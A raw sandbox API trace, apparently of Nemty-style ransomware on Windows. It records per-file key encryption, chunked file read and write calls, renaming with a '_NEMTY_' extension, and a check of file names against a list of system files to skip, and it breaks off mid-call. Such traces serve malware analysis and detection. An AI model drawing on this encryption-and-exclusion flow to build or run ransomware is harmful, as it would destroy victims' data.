[0063.118] Sleep (dwMilliseconds=0x5) [0063.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd946a150, dwHighDateTime=0x1d561e7)) [0063.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd946a150, dwHighDateTime=0x1d561e7)) [0063.131] GetLastError () returned 0x5 [0063.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.131] GetLastError () returned 0x5 [0063.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0063.131] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0063.131] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0063.132] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0063.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0063.132] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="KToynVpvR+r9Hngpagbu+BIDtJwK6yRA3TVJ7ljOEIlbNhsWV8BihxcaH4Z4OcNh\r\nB9xrMkVWibhCm8UPmfSYcM/Lqml3EDKho9qijWIPjBK6E/3xeM+eF5SrXfnjUzn7\r\nZUS2/YlYe91p7vUWEYmumXggjTEmSpMfC4aj5kqdIdJqE768fSVokn+e52b8QxTx\r\n6Zx2CABVEFI2m8LaOPeQaeSsUwh13QUIdJAD1jdRDZ+WETc1jsnlBshAG5D85v87\r\nx61GsnKk4W10o167jSdmP/5Det1UjKr0zOFCBPr5VVCJE+Cd78QrOUeM31Gsj3qT\r\nk0XE58YOFJ0zycl+zhReeA==\r\n", pcchString=0x653e91c) returned 1 [0063.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0063.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0063.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0063.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0063.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0063.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0063.132] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0063.133] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0063.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0063.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.171] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.180] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.190] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.199] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.199] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.228] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.235] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.235] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0063.241] CloseHandle (hObject=0xffffffff) returned 0 [0063.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0063.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0063.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0063.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0063.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0063.241] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0063.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0063.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0063.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0063.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.242] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0063.242] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0063.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0063.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0063.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0063.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0063.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0063.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0063.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0063.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0063.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0063.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0063.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0063.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0063.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0063.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0063.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0063.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0063.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0063.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0063.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0063.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0063.243] Sleep (dwMilliseconds=0x5) [0063.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd959ac50, dwHighDateTime=0x1d561e7)) [0063.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd959ac50, dwHighDateTime=0x1d561e7)) [0063.256] GetLastError () returned 0x5 [0063.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.256] GetLastError () returned 0x5 [0063.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0063.256] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0063.256] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0063.256] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0063.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0063.256] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: 